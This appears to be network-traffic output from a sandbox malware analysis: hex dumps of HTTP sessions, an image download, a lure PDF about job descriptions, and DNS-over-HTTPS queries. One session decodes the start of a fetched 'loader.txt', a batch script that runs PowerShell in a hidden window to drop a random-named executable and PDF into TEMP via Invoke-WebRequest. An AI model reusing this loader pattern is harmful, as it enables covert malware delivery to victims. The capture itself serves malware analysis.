GMT Connection: close
2024-12-17 11:13:22 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 30 3a 33 30 20 31 35 3a 33 38 3a 32 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:10:30 15:38:218C
2024-12-17 11:13:22 UTC	16384	IN	Data Raw: 75 87 fd f3 4d 0d 12 f2 39 ff 00 68 d2 e4 75 fe 1e b5 10 e3 ad 48 a7 b0 e9 48 64 9b 80 5e 7f ad 4a a4 ff 00 7b 8f f7 6a 08 c9 ed d3 fb bf dd a9 13 e5 e0 b7 dd 5a 99 16 89 90 81 c9 a9 90 9e cd fe ef fb 55 5b 76 3f d9 ef 52 e4 88 f8 e9 52 32 75 20 f3 fd ec 8a 76 07 5f 95 aa 05 38 eb f2 86 a9 10 85 e4 ff 00 e3 b5 32 34 26 cf ca a9 bb 9e bf ee fe 34 bf 26 ec 9f 97 fb b5 12 36 63 cf dd 34 f5 3b 79 ff 00 d0 aa 4a 24 4f bd 91 52 29 05 72 17 ef 35 41 9c 54 a8 c0 b7 3f 2d 4b 45 a3 c9 d0 63 6a 7f 7b f8 69 78 66 ff 00 66 93 68 1b 8f e3 ff 00 d6 a5 50 3e 51 fd de 77 57 ac 58 d7 1e a9 ff 00 7d 53 5b 3b 94 f6 a9 18 16 ff 00 7b 6f de a4 70 28 02 3f bb f5 a5 61 96 e3 a5 2b 2b f4 fc 69 aa 01 a6 c0 4c 92 d8 22 93 03 af 6f f6 a9 cb 8d bf 77 9a 36 fa 52 15 ae 27 0b ff 00 c4 Data Ascii: uM9huHHd^J{jZU[v?RR2u v_824&4&6c4;yJ$OR)r5AT?-KEcj{ixffhP>QwWX}S[;{op(?a++iL"ow6R'
2024-12-17 11:13:22 UTC	16384	IN	Data Raw: 52 02 6d 3b bd e9 54 7a 74 a5 c1 14 ab c5 00 35 97 3b 68 c1 dd b5 69 5b d7 fb b4 9b 73 f2 50 03 58 67 e9 48 d9 ff 00 81 53 b1 8e 7b d3 5b 23 e9 40 ee 27 f3 a6 f4 4a 91 79 a6 28 1b bf 3a 06 27 4e 7b d2 37 b5 39 46 57 9a 4c 7c ab 96 a0 4c 6b 71 c8 5a 6b 0f 9b ff 00 41 a7 b2 e7 eb 49 ec 68 10 cc 61 b8 a4 c6 7a 2d 3b e6 e9 49 c1 6e 28 01 8c 3e 5a 6b 7f e3 d5 26 31 d6 9a df f7 d5 00 35 80 3f c5 42 e0 75 a5 f6 a4 6e 17 fd ea 00 63 0c 75 a6 b5 48 c3 1d 29 b8 3f 8d 5d c0 63 0c af 34 dc 7c db a9 d8 1b 5b f8 69 b4 c0 6b 73 f4 a6 be 7a 53 f1 df bd 23 7f e3 b5 40 46 ff 00 7a 95 b9 a1 8e 79 34 d6 6c 53 dc 03 de 93 3d c7 4a 33 9e 68 5f bd 8a 60 27 4a 46 e6 97 02 93 20 d0 02 2f de c5 0b 9a 33 43 73 cd 00 18 ed 48 de b4 63 da 86 3f 2f bd 00 36 95 bd 3b d1 c8 a3 af 5a 00 Data Ascii: Rm;Tzt5;hi[sPXgHS{[#@'Jy(:'N{79FWL\|LkqZkAIhaz-;In(>Zk&15?BuncuH)?]c4\|[ikszS#@Fzy4lS=J3h_`'JF /3CsHc?/6;Z
2024-12-17 11:13:22 UTC	16384	IN	Data Raw: d9 a5 c5 48 c3 bf 7a 45 5c b6 05 31 08 3e f5 2a f0 dc 75 a4 55 1d ff 00 86 97 18 6c 8a 0a 1c d4 b8 ff 00 80 ff 00 bb 42 fa f6 a5 60 77 53 45 02 8c f0 3a d3 d3 d3 b5 37 ab 73 d6 97 20 35 30 17 19 dc 1f a5 35 b9 5e 69 ed ef 47 ff 00 15 54 51 1e d3 f3 7a 50 ab 9d a6 a5 65 0d 48 71 b7 8f 9a 9d ca 23 e7 75 2e da 97 6e 3f ef 9a 6e d6 e8 7a 55 26 03 1b ef 64 d0 a0 ff 00 9e b4 fe bd 3f 8b fb d4 98 aa 4e c5 09 ee 17 fe f9 a0 81 da 95 97 e6 6a 5f e2 5f 5a b0 21 c7 ae ef 9a 97 04 f1 f7 a9 ec 33 cd 47 8c b6 05 52 63 dc 43 93 49 ff 00 7c ad 3d 69 bd 28 18 8b 90 cd e9 4c 65 ec 36 f6 dd 52 63 3c ff 00 e8 54 98 f9 79 db ea b4 01 1b 8c 73 ff 00 7c d3 71 b6 a4 71 9e 6a 37 1d bf ef aa 00 6e 30 b4 63 ef 7a d4 88 31 ca fc d4 10 47 cb 4a e2 64 6c 2a 29 b1 53 b6 47 ca 7f 86 a1 Data Ascii: HzE\1>uUlB`wSE:7s 505^iGTQzPeHq#u.n?nzU&d?Nj__Z!3GRcCI\|=i(Le6Rc<Tys\|qqj7n0cz1GJdl)SG
2024-12-17 11:13:22 UTC	16384	IN	Data Raw: 4a 72 7d dc 8a 6a 8c 35 48 80 ed a0 05 50 7a 1f fb e6 9c 8a 07 02 91 00 6f e1 e3 f8 aa 40 a0 75 a9 01 55 7f ef ae b4 f4 4f 9a 95 73 f2 fd da 76 3e 6a 5b 95 64 37 05 7f 95 3d bf e0 5f ef 52 60 0f f6 4d 39 3e f7 3f 35 20 1a 4f cd 8d b4 8c 07 cb 9f f3 ef 4e 61 ff 00 ec d2 3f dd e7 a5 02 63 72 77 66 95 45 22 82 5a 9f 18 fb a3 bd 02 24 b7 4c b6 6b 46 c6 1f bb 50 59 47 96 cf 6a d6 b0 8b e5 53 49 bb 04 56 a4 b6 91 0e f5 7e d2 2f ba 69 2d 61 ca d5 eb 78 f1 ff 00 02 a8 72 46 f1 d8 75 bc 79 6f bb 57 51 71 c0 f9 6a 38 57 e5 e3 e6 ef 56 23 5c 6e cf fc 0a b3 2e 3b 8e 44 dc b9 1b 73 4f 55 f9 78 a7 28 25 7f 5a 7a ae 38 3f f8 ed 45 d9 43 55 5f fd de d4 fd 9f 36 47 cb 4e 89 7b 0a 76 df bb 45 d8 0c db 8e 9b a9 eb fc 2d 46 00 e6 9c 9c f0 7e b4 80 31 f9 d3 b2 76 b6 3a 51 fc Data Ascii: Jr}j5HPzo@uUOsv>j[d7=_R`M9>?5 ONa?crwfE"Z$LkFPYGjSIV~/i-axrFuyoWQqj8WV#\n.;DsOUx(%Zz8?ECU_6GN{vE-F~1v:Q
2024-12-17 11:13:22 UTC	16384	IN	Data Raw: da 46 8b 1f c3 b4 d1 b0 ed ca ad 00 3d 9b d7 77 fc 06 9a 4f fb 5c 52 63 e6 ff 00 d0 a9 18 7c d8 1f f0 2a a0 15 df 3f 77 a5 1b c7 f7 b7 53 5b 9a 4c e3 a5 48 08 dc 75 f7 1b 6a 36 1f fd 8d 48 e7 e5 62 7a 2d 46 df ee fd ea 68 4c 8d 8e 79 3f 4a 6b 12 7a fc d4 e6 03 6e 05 33 ef 2e 7f 1a 64 75 13 3f c3 fd ea 46 27 73 04 a5 65 23 a5 35 94 1e 28 24 6b 7a 8a 63 f3 cf de a9 18 76 1f 28 5a 6b 73 fe cf fb d4 01 1b 0c f3 4d 61 da 9e c3 bd 35 57 ee 83 41 23 70 76 ed 5d d4 d6 f6 fe 1a 7e 07 7a 45 00 b7 fe cb 40 98 cc 0d bd 29 18 7c de d5 26 33 f3 7d da 4a 02 c4 6d 9e bd e9 ac 2a 66 07 a7 6a 6b 2e ed b8 5e 3a d0 16 22 65 c7 4f ad 37 07 fb cb f2 d4 ac 3b fd da 6e de fb bf e0 55 44 35 62 26 5e c6 91 80 ea 6a 46 1f 36 69 19 7e 6f 7a 00 8d 87 cd 48 c3 1d 77 62 9e c8 07 d2 8c Data Ascii: F=wO\Rc\|?wS[LHuj6Hbz-FhLy?Jkzn3.du?F'se#5($kzcv(ZksMa5WA#pv]~zE@)\|&3}Jmfjk.^:"eO7;nUD5b&^jF6i~ozHwb
2024-12-17 11:13:22 UTC	16384	IN	Data Raw: f9 6e ad 7c b8 d3 e6 5f ba bb 76 d4 2b a2 ba 5c 49 f6 99 ff 00 78 df c3 f7 9a b6 3e d5 73 65 aa 49 22 6d 5b 68 e3 ff 00 59 fc 4d 59 97 3a 84 22 49 2e 66 95 54 cb f7 7f 89 ab a9 58 e6 77 e8 45 0d 94 49 1f 96 3f 77 13 37 cd fe 15 a3 0b 24 2b b6 dd 77 79 7f 7b fb b4 58 dc 05 85 92 4b 6d a1 57 2b bb f8 89 aa 22 fa da c2 39 63 b8 b9 f3 25 91 b2 df de fa 0a 5d 45 76 cd 6b 1b 8b 8f 31 9e 55 f2 c7 f7 9b ef 63 e9 55 75 5b e1 24 ca 64 6e 19 bf 87 e6 da 2a 96 ab 73 73 79 0c 16 d6 7f 29 9f 8d de c2 a9 eb d7 76 fa 74 d6 b6 46 e5 5a 4f f9 68 db ab 19 ee cb 51 3a 0b db cd ba 7c 8b 6a bf bd 6f e1 55 fb a3 eb 54 fc 3e d1 4f e6 4b 7d 2f ee e3 fe 1f ef 7b 54 36 da a5 9c 31 f9 30 3a b1 93 ef 37 de ac fd 3e 61 0d e4 f7 37 32 aa c4 bf 75 6a 1a b9 ad 39 24 ac 74 56 77 76 71 49 Data Ascii: n\|_v+\Ix>seI"m[hYMY:"I.fTXwEI?w7$+wy{XKmW+"9c%]Evk1UcUu[$dn*ssy)vtFZOhQ:\|joUT>OK}/{T610:7>a72uj9$tVwvqI
2024-12-17 11:13:22 UTC	16069	IN	Data Raw: b5 36 96 35 fb d0 41 f2 ab 1f 4d e7 9c 7d 05 7a 4e a3 8b f7 5d fe 5a 18 aa 4e 4b 63 cb 74 af 0f 4f 75 aa 25 95 95 b4 97 93 37 1b 63 5c fe 7e 9f 53 5e a7 e0 cf 87 06 d6 35 3a cd cf 97 bb ef 5b 5a 75 fa 33 ff 00 85 76 9a 5d 9d 96 99 67 f6 6b 0b 68 ed a2 fe 25 45 fb c7 d4 9e ad f8 d4 eb f7 69 4a f3 5e f1 bc 29 46 04 96 a9 05 a5 ac 76 b6 70 2c 16 f1 70 b1 27 ca ab fe 27 de 9c 4e 79 1d 7f d9 a8 f7 77 dd 46 70 cc 07 f1 7f c0 a8 4a c5 49 8a ec 6a 26 38 5f bd 4e 66 ca e4 b7 ff 00 13 51 b1 ef 4c 81 ac 1b a0 5a 46 03 bf 4f e1 db 43 10 7f f8 aa 63 bf af 4a 05 71 49 ff 00 2b fa d4 6e f8 ff 00 e2 69 92 3f 6d d5 56 e6 72 eb 91 fd ea a5 b0 9b 26 b8 97 1c 8f 7f ff 00 55 64 6a 57 20 2b 6d ea d5 2d dc c0 6e f9 b7 56 1e b1 75 95 6d cd 5b 46 29 a3 39 19 9a 3e a4 8b 6e ab e6 Data Ascii: 65AM}zN]ZNKctOu%7c\~S^5:[Zu3v]gkh%EiJ^)Fvp,p''NywFpJIj&8_NfQLZFOCcJqI+ni?mVr&UdjW +m-nVum[F)9>n
2024-12-17 11:13:22 UTC	16384	IN	Data Raw: 8e 23 3e d3 23 56 35 fb 11 b4 c8 bf 34 9f de fe 11 56 ac e7 31 c9 1c 90 36 d3 1a e5 be 6a b6 ad 02 23 b9 d0 78 9f 44 4d 27 76 c7 59 36 ae 5a 46 ae 7a ca 5f de 48 ef f3 57 44 b7 67 5a b1 f2 e7 97 71 55 f9 9a b9 b9 3f 71 75 24 7b 76 85 6a c2 9c 9b 4e 2f 73 69 41 26 9a d8 9e fe 70 64 54 81 39 65 c6 ea a9 35 c4 8a db 11 78 a9 37 4e ec bb 17 85 e1 6a b5 c6 f8 e4 f9 b6 b6 ee 95 b4 52 13 64 d6 ba 84 b0 36 55 77 33 7f 7a ab dc 5e 49 73 74 de 6f cc 15 7f e0 34 f5 8b 6a fd ef 99 f9 a8 6e a1 f2 61 dc 3a d5 c6 30 e6 bd b5 25 c9 d8 8e f0 79 3f 3a 45 f7 98 55 ac 34 d0 2f dd ff 00 6b 75 67 fd b9 de 1f 2b b3 7f 15 4f a7 dd ed 8d 8c bf 2a ad 6b 28 4a da ee 88 8c 95 cb 8a 0c 5b b2 db 86 da 92 dd 56 5f 90 ae e0 bc ff 00 bd 59 da 86 a1 01 e2 35 6c ff 00 4a a8 b7 33 b6 ef 9f Data Ascii: #>#V54V16j#xDM'vY6ZFz_HWDgZqU?qu${vjN/siA&pdT9e5x7NjRd6Uw3z^Isto4jna:0%y?:EU4/kug+O*k(J[V_Y5lJ3
2024-12-17 11:13:22 UTC	16384	IN	Data Raw: e8 e5 18 9a ae ca c6 15 33 0a 34 d6 a7 0b 67 6d 3d cc 9b 20 56 6d bc 6e fe 1a dd d3 74 9b 6b 26 f3 75 05 f3 65 fe 18 7f fa d5 b2 d3 d9 5a dc 7f 67 69 70 6f 9b fe 99 af dd ff 00 e2 7f 9d 74 de 1d d2 2c b4 9d ba 9e ab 12 cb 75 b7 31 44 df c3 ef ed 5f 49 81 c8 a8 51 4a 75 9f 33 fc 17 c8 f0 71 79 bd 5a 8f 92 9a e5 4f ef 7f e4 4b e1 4d 1a 49 ac 56 f7 57 83 ec 76 bf f2 ce 0f e3 92 a3 f1 df 8b 21 b5 b1 f2 2d da 38 20 8f 84 8e 3f bb f8 7a 9f 7a c7 f1 ef 8d 0f 98 df bc dc ed f2 aa af f2 f6 15 c6 69 76 37 ba fd f7 9f 71 2b 6c 66 f9 57 f8 54 57 5e 23 19 29 fe ee 96 c4 50 c2 c6 3e fd 55 a8 e5 7d 43 c4 5a 92 8d ac d1 b3 7f 9c d7 a8 f8 0b c3 02 da 18 db cb e6 93 c1 9e 1e 8e da 15 54 5d d4 78 f3 c5 87 4a b7 6d 3b 4b fd e5 cb 7c ac eb fc 35 b6 1f 0e a9 45 4e 5b 99 62 2b Data Ascii: 34gm= Vmntk&ueZgipot,u1D_IQJu3qyZOKMIVWv!-8 ?zziv7q+lfWTW^#)P>U}CZT]xJm;K\|5EN[b+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49758	162.125.65.18	443	2276	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:22 UTC	212	OUT	GET /scl/fi/u442tpj94cyt7pxeh32zo/loader.txt?rlkey=y6ifp8xex62ufg75kr5ap1exu&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com
2024-12-17 11:13:23 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: media-src https://* blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; style-src https:// 'unsafe-inline' 'unsafe-eval' ; img-src https://* data: blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.li [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com/cd/0/get/CgYlNqjno2Q-Rp0yKhEwnMe3y2Vm1cBWkCHEOdxILyldOOvhDq_F73BfWcj2OepMabX929Qs6cy6UKLVBGuxHE4RxgdhayfJSlGpkBN9OxnLSO_J-9uYGsTIBFp7wgR_i1_NeclMIqQwdafaowBoH9D6/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MjgzOTI0Mjg2NzU0MzcyNDYyNjUwNzQ1NjQ2MjcyOTg2MTQ5NjAx; Path=/; Expires=Sun, 16 Dec 2029 11:13:22 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=_GeUEEWRHwTXvMPg_oSBN73r; Path=/; Domain=dropbox.com; Expires=Wed, 17 Dec 2025 11:13:22 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=_GeUEEWRHwTXvMPg_oSBN73r; Path=/; Expires=Wed, 17 Dec 2025 11:13:22 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=POaCPw-NSk; Path=/; Expires=Wed, 17 Dec 2025 11:13:22 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sun, 16 Dec 2029 11:13:23 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Tue, 17 Dec 2024 11:13:23 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 23fb6028fe4342669e1980ab41053567 Connection: close
2024-12-17 11:13:23 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49769	162.125.69.15	443	2276	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:25 UTC	370	OUT	GET /cd/0/get/CgYlNqjno2Q-Rp0yKhEwnMe3y2Vm1cBWkCHEOdxILyldOOvhDq_F73BfWcj2OepMabX929Qs6cy6UKLVBGuxHE4RxgdhayfJSlGpkBN9OxnLSO_J-9uYGsTIBFp7wgR_i1_NeclMIqQwdafaowBoH9D6/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: uca4ebdf238aad81e4af13a776f0.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-17 11:13:26 UTC	734	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="loader.txt"; filename*=UTF-8''loader.txt Content-Security-Policy: sandbox Etag: 1733913982724864d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 189 X-Webkit-Csp: sandbox Date: Tue, 17 Dec 2024 11:13:25 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 846 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 78e659c04ef348b6b8b099b755ba517a Connection: close
2024-12-17 11:13:26 UTC	846	IN	Data Raw: 40 65 63 68 6f 20 6f 66 66 0d 0a 70 6f 77 65 72 73 68 65 6c 6c 20 2d 77 49 6e 64 6f 57 53 74 59 4c 65 20 68 69 44 64 65 4e 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 43 6f 6d 6d 61 6e 64 20 22 24 52 61 6e 64 6f 6d 50 44 46 20 3d 20 4a 6f 69 6e 2d 50 61 74 68 20 2d 50 61 74 68 20 24 65 6e 76 3a 54 45 4d 50 20 2d 43 68 69 6c 64 50 61 74 68 20 28 27 7b 30 7d 2e 70 64 66 27 20 2d 66 20 28 5b 67 75 69 64 5d 3a 3a 4e 65 77 47 75 69 64 28 29 29 29 3b 20 24 52 61 6e 64 6f 6d 45 58 45 20 3d 20 4a 6f 69 6e 2d 50 61 74 68 20 2d 50 61 74 68 20 24 65 6e 76 3a 54 45 4d 50 20 2d 43 68 69 6c 64 50 61 74 68 20 28 27 7b 30 7d 2e 65 78 65 27 20 2d 66 20 28 5b 67 75 69 64 5d 3a 3a 4e 65 77 47 75 69 64 28 29 29 29 3b 20 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 Data Ascii: @echo offpowershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49774	162.125.65.18	443	1008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:26 UTC	806	OUT	GET /scl/fi/w47rcqepfnwm2w25ysbw7/Documents-about-company-information-and-job-descriptions-2.pdf?rlkey=yz6h1qih6tkldgdp6erbolsb5&dl=1 HTTP/1.1 Host: www.dropbox.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-17 11:13:27 UTC	4094	IN	HTTP/1.1 302 Found Content-Security-Policy: font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dr [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://uce3c54e35182400e51e3fa58109.dl.dropboxusercontent.com/cd/0/get/CgZSoca0CIhy-F_xAYR1XBh7zYuyV6wJ0VaZFJiZHwd1PeDCWAeCqt1maYf488EWa-xLnkRmZ4glBXIR8VYXeHERoIa7fAEXRnOt9q5QZYWHtnygLpWLibiOwgGsEjcI8ropDNlribO0ZNyz4TnfYxpp/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MTE5ODk2NTMxMjU3NTczMzQyMzIxNzk0NTYyNjgwNDczMjIxMzU2; Path=/; Expires=Sun, 16 Dec 2029 11:13:26 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=aQgFOnxVXoevU95dYwYd4R1G; Path=/; Domain=dropbox.com; Expires=Wed, 17 Dec 2025 11:13:26 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=aQgFOnxVXoevU95dYwYd4R1G; Path=/; Expires=Wed, 17 Dec 2025 11:13:26 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=RPISQ27-VY; Path=/; Expires=Wed, 17 Dec 2025 11:13:26 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en_GB; Path=/; Domain=dropbox.com; Expires=Sun, 16 Dec 2029 11:13:26 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Tue, 17 Dec 2024 11:13:27 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: ec8a20c4f43941e7b0fd43052b8f5876 Connection: close
2024-12-17 11:13:27 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49786	172.64.41.3	443	1008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-17 11:13:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-17 11:13:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 17 Dec 2024 11:13:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f367becd98c19c7-EWR alt-svc: h3=":443"; ma=86400
2024-12-17 11:13:29 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 9e 00 04 8e fa 48 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomHc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49787	162.159.61.3	443	1008	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:13:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-17 11:13:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-17 11:13:29 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 17 Dec 2024 11:13:29 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f367becdf96f5f6-EWR alt-svc: h3=":443"; ma=86400
